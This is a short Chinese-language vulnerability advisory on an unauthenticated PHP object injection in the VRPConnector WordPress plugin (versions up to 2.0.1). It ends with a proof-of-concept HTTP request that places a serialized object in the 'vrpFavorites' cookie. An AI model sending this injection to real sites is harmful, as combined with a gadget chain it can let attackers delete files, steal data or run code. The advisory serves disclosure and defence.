VRPConnector <= 2.0.1 - 未经身份验证的 PHP 对象注入
VRPConnector WordPress 插件在版本 2.0.1 及之前版本中，存在通过反序列化不可信输入导致 PHP 对象注入的漏洞。这使得未经身份验证的攻击者能够注入 PHP 对象。易受攻击的软件中不存在已知的 POP 链。如果目标系统上安装了其他插件或主题并存在 POP 链，则可能允许攻击者删除任意文件、检索敏感数据或执行代码。
GET / HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: vrpFavorites=O:20:"PHP_Object_Injection":0:{}
Upgrade-Insecure-Requests: 1
Priority: u=0, i